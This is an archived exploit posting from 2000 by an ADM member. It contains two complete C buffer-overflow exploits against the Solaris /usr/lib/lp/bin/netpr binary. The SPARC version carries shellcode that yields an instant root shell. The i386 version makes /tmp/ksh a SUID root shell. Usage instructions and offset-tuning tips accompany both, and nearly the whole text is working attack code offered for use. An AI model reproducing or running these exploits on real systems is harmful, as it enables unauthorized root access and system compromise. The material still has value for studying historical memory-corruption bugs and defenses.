what you don't know can hurt you

netprex.c

netprex.c
Posted May 15, 2000
Authored by Cheez Whiz

netprex.c is a SPARC / i386 buffer overflow root exploit for /usr/lib/lp/bin/netpr. Tested on Solaris 2.6 & 2.7.

tags | exploit, overflow, root
systems | solaris
MD5 | 835fc109eb8034e4a735d9f86983473e

netprex.c

Change Mirror Download
[ Word on the street is that others have noticed this hole, so here goes. ]

Have you noticed how many holes have been discovered in the printing
system on Solaris? The netpr program is no exception. Included with this
message are two exploits I wrote in 1999, one for SPARC versions of
Solaris and the other for i386 versions. The SPARC version is a routine
buffer overflow exploit that produces an instant root shell, but the i386
exploit requires some creative payload delivery to compensate for the
unavoidable corruption of an important stack variable. The i386 version
will turn a copy of /bin/ksh in /tmp into a SUID root shell.

I have not tested either of these on Solaris 8, but I am expecting it to
be vulnerable. It also appears that Solaris 2.6 on SPARC machines may not
be exploitable unless patch 106235-03 or patch 106235-04 is installed.
How about that? Keep up on your patches and get owned faster. Let's hope
that Sun puts this buffer overflow silliness to rest soon. No more buffer
overflows will mean no more buffer overflow exploits.

Another fine product of ADM brought to you by,

Cheez Whiz
cheezbeast@hotmail.com

ADM... when only the phattest and dopest codez will do.

----- cut here ----- cut here ----- cut here ----- cut here -----

/**
*** netprex - SPARC Solaris root exploit for /usr/lib/lp/bin/netpr
***
*** Tested and confirmed under Solaris 2.6 and 7 (SPARC)
***
*** Usage: % netprex -h hostname [-o offset] [-a alignment]
***
*** where hostname is the name of any reachable host running the printer
*** service on TCP port 515 (such as "localhost" perhaps), offset is the
*** number of bytes to add to the %sp stack pointer to calculate the
*** desired return address, and alignment is the number of bytes needed
*** to correctly align the first NOP inside the exploit buffer.
***
*** When the exploit is run, the host specified with the -h option will
*** receive a connection from the netpr program to a nonsense printer
*** name, but the host will be otherwise untouched. The offset parameter
*** and the alignment parameter have default values that will be used
*** if no overriding values are specified on the command line. In some
*** situations the default values will not work correctly and should
*** be overridden on the command line. The offset value should be a
*** multiple of 8 and should lie reasonably close to the default value;
*** try adjusting the value by -640 to 640 from the default value in
*** increments of 64 for starters. The alignment value should be set
*** to either 0, 1, 2, or 3. In order to function correctly, the final
*** return address should not contain any null bytes, so adjust the offset
*** appropriately to counteract nulls should any arise.
***
*** Cheez Whiz / ADM
*** cheezbeast@hotmail.com
***
*** May 23, 1999
**/

/* Copyright (c) 1999 ADM */
/* All Rights Reserved */

/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM */
/* The copyright notice above does not evidence any */
/* actual or intended publication of such source code. */

#define BUFLEN 1087
#define NOPLEN 932
#define ADDRLEN 80

#define OFFSET 1600 /* default offset */
#define ALIGNMENT 1 /* default alignment */

#define NOP 0x801bc00f /* xor %o7,%o7,%g0 */

#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char shell[] =
/* setuid: */
/* 0 */ "\x90\x1b\xc0\x0f" /* xor %o7,%o7,%o0 */
/* 4 */ "\x82\x10\x20\x17" /* mov 23,%g1 */
/* 8 */ "\x91\xd0\x20\x08" /* ta 8 */
/* alarm: */
/* 12 */ "\x90\x1b\xc0\x0f" /* xor %o7,%o7,%o0 */
/* 16 */ "\x82\x10\x20\x1b" /* mov 27,%g1 */
/* 20 */ "\x91\xd0\x20\x08" /* ta 8 */
/* execve: */
/* 24 */ "\x2d\x0b\xd8\x9a" /* sethi %hi(0x2f62696e),%l6 */
/* 28 */ "\xac\x15\xa1\x6e" /* or %l6,%lo(0x2f62696e),%l6 */
/* 32 */ "\x2f\x0b\xdc\xda" /* sethi %hi(0x2f736800),%l7 */
/* 36 */ "\x90\x0b\x80\x0e" /* and %sp,%sp,%o0 */
/* 40 */ "\x92\x03\xa0\x08" /* add %sp,8,%o1 */
/* 44 */ "\x94\x1b\xc0\x0f" /* xor %o7,%o7,%o2 */
/* 48 */ "\x9c\x03\xa0\x10" /* add %sp,16,%sp */
/* 52 */ "\xec\x3b\xbf\xf0" /* std %l6,[%sp-16] */
/* 56 */ "\xd0\x23\xbf\xf8" /* st %o0,[%sp-8] */
/* 60 */ "\xc0\x23\xbf\xfc" /* st %g0,[%sp-4] */
/* 64 */ "\x82\x10\x20\x3b" /* mov 59,%g1 */
/* 68 */ "\x91\xd0\x20\x08"; /* ta 8 */

extern char *optarg;

unsigned long int
get_sp()
{
__asm__("or %sp,%sp,%i0");
}

int
main(int argc, char *argv[])
{
unsigned long int sp, addr;
int c, i, offset, alignment;
char *program, *hostname, buf[BUFLEN+1], *cp;

program = argv[0];
hostname = "localhost";
offset = OFFSET;
alignment = ALIGNMENT;

while ((c = getopt(argc, argv, "h:o:a:")) != EOF) {
switch (c) {
case 'h':
hostname = optarg;
break;
case 'o':
offset = (int) strtol(optarg, NULL, 0);
break;
case 'a':
alignment = (int) strtol(optarg, NULL, 0);
break;
default:
fprintf(stderr, "usage: %s -h hostname [-o offset] "
"[-a alignment]\n", program);
exit(1);
break;
}
}
memset(buf, '\xff', BUFLEN);
for (i = 0, cp = buf + alignment; i < NOPLEN / 4; i++) {
*cp++ = (NOP >> 24) & 0xff;
*cp++ = (NOP >> 16) & 0xff;
*cp++ = (NOP >> 8) & 0xff;
*cp++ = (NOP >> 0) & 0xff;
}
memcpy(cp, shell, strlen(shell));
sp = get_sp(); addr = sp + offset; addr &= 0xfffffff8;
for (i = 0, cp = buf + BUFLEN - ADDRLEN; i < ADDRLEN / 4; i++) {
*cp++ = (addr >> 24) & 0xff;
*cp++ = (addr >> 16) & 0xff;
*cp++ = (addr >> 8) & 0xff;
*cp++ = (addr >> 0) & 0xff;
}
buf[BUFLEN] = '\0';
fprintf(stdout, "%%sp 0x%08lx offset %d --> return address 0x%08lx [%d]\n",
sp, offset, addr, alignment);
execle("/usr/lib/lp/bin/netpr",
"netpr",
"-I", "ADM-ADM",
"-U", "ADM!ADM",
"-p", buf,
"-d", hostname,
"-P", "bsd",
"/etc/passwd", NULL, NULL);
fprintf(stderr, "unable to exec netpr: %s\n", strerror(errno));
exit(1);
}

----- cut here ----- cut here ----- cut here ----- cut here -----

/**
*** netprex - i386 Solaris root exploit for /usr/lib/lp/bin/netpr
***
*** Tested and confirmed under Solaris 2.6 and 7 (i386)
***
*** Usage: % netprex hostname [offset]
***
*** where hostname is the name of a host running the printer service on
*** TCP port 515 (such as "localhost" perhaps) and offset (if present)
*** is the number of bytes to add to the stack pointer to calculate your
*** target return address; try -1000 to 1000 in increments of 100 for
*** starters.
***
*** Cheez Whiz / ADM
*** cheezbeast@hotmail.com
***
*** March 4, 1999
**/

/* Copyright (c) 1999 ADM */
/* All Rights Reserved */

/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM */
/* The copyright notice above does not evidence any */
/* actual or intended publication of such source code. */

#define BUFLEN 1047
#define NOP 0x90

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>

char shell[] =
/* 0 */ "\xeb\x41" /* jmp springboard */
/* syscall: */
/* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 */
/* 9 */ "\xc3" /* ret */
/* start: */
/* 10 */ "\x5e" /* popl %esi */
/* 11 */ "\x31\xc0" /* xor %eax,%eax */
/* 13 */ "\x89\x46\xbb" /* movl %eax,-0x45(%esi) */
/* 16 */ "\x88\x46\xc0" /* movb %al,-0x40(%esi) */
/* 19 */ "\x88\x46\x08" /* movb %al,0x8(%esi) */
/* chown: */
/* 22 */ "\x31\xc0" /* xor %eax,%eax */
/* 24 */ "\x50" /* pushl %eax */
/* 25 */ "\x50" /* pushl %eax */
/* 26 */ "\x56" /* pushl %esi */
/* 27 */ "\xb0\x10" /* movb $0x10,%al */
/* 29 */ "\xe8\xe0\xff\xff\xff" /* call syscall */
/* 34 */ "\x83\xc4\x0c" /* addl $0xc,%esp */
/* chmod: */
/* 37 */ "\x31\xc0" /* xor %eax,%eax */
/* 39 */ "\xb0\x6d" /* movb $0x6d,%al */
/* 41 */ "\xb4\x09" /* movb $0x9,%ah */
/* 43 */ "\x50" /* pushl %eax */
/* 44 */ "\x56" /* pushl %esi */
/* 45 */ "\x31\xc0" /* xor %eax,%eax */
/* 47 */ "\xb0\x0f" /* movb $0xf,%al */
/* 49 */ "\xe8\xcc\xff\xff\xff" /* call syscall */
/* 54 */ "\x83\xc4\x08" /* addl $0x8,%esp */
/* exit: */
/* 57 */ "\x31\xc0" /* xor %eax,%eax */
/* 59 */ "\x50" /* pushl %eax */
/* 60 */ "\xb0\x01" /* movb $0x1,%al */
/* 62 */ "\xe8\xbf\xff\xff\xff" /* call syscall */
/* springboard: */
/* 67 */ "\xe8\xc2\xff\xff\xff" /* call start */
/* data: */
/* 72 */ "\x2f\x74\x6d\x70\x2f\x6b\x73\x68\xff"; /* DATA */

char buf[BUFLEN+1];

unsigned long int
get_esp()
{
__asm__("movl %esp,%eax");
}

int
main(int argc, char *argv[])
{
unsigned long int esp, nop;
long int offset = 0;
char *hostname, c;
int i, null, umbilical[2];
struct stat st;
int status;

if (argc < 2) {
printf("usage: %s hostname [offset]\n", argv[0]);
exit(1);
}

esp = get_esp();
hostname = argv[1];
if (argc > 2)
offset = strtol(argv[2], NULL, 0);
if (argc > 3)
nop = strtoul(argv[3], NULL, 0);
else
nop = 942;

memset(buf, NOP, BUFLEN);
memcpy(buf+nop, shell, strlen(shell));
for (i = nop+strlen(shell); i <= BUFLEN-4; i += 4)
*((int *) &buf[i]) = esp+offset;

printf("using return address 0x%08x (0x%08x offset %d) [nop %d]\n",
esp+offset, esp, offset, nop);

if (stat("/tmp/ksh", &st) < 0) {
printf("exploit failed; copy /bin/ksh to /tmp first!\n");
exit(1);
}

if (pipe(umbilical) < 0) {
printf("exploit failed; unable to create a pipe!\n");
exit(1);
}

switch (fork()) {
case -1:
printf("exploit failed; unable to fork!\n");
exit(1);
break;
case 0:
if ((null = open("/dev/null", O_RDWR, 0)) < 0) {
printf("exploit failed; cannot open /dev/null!\n");
exit(1);
}
dup2(null, STDIN_FILENO);
dup2(null, STDOUT_FILENO);
dup2(null, STDERR_FILENO);
if (null > STDERR_FILENO)
close(null);
close(umbilical[0]);
dup2(umbilical[1], 10); /* yes, descriptor 10 -- trust me ;-) */
execl("/usr/lib/lp/bin/netpr",
"netpr",
"-I", "ADM-ADM",
"-U", "ADM!ADM",
"-p", buf,
"-d", hostname,
"-P", "bsd",
"/etc/passwd", NULL);
printf("exploit failed; unable to exec!\n");
exit(1);
break;
default:
close(umbilical[1]);
c = 0;
while (c != '\n') {
read(umbilical[0], &c, 1);
}
c = '\0';
while (write(umbilical[0], &c, 1) < 1)
;
wait(&status);
if (WIFSIGNALED(status)) {
printf("exploit failed; child process died on signal %d "
"(try adjusting the offset)\n", WTERMSIG(status));
exit(1);
} else if (WIFEXITED(status) && (WEXITSTATUS(status) != 0)) {
printf("exploit failed; child process exited with unexpected "
"return value %d, instead of 0\n", WEXITSTATUS(status));
exit(1);
}
break;
}

if (stat("/tmp/ksh", &st) < 0) {
printf("exploit failed; /tmp/ksh disappeared somehow!\n");
exit(1);
} else if (st.st_uid != 0) {
printf("exploit failed; failed to make /tmp/ksh owned by root!\n");
exit(1);
} else if ((st.st_mode & 07777) != 04555) {
printf("exploit failed; failed to change /tmp/ksh to mode 4555!\n");
exit(1);
} else {
printf("exploit successful; /tmp/ksh is now SUID root, dewd!\n");
exit(0);
}
}

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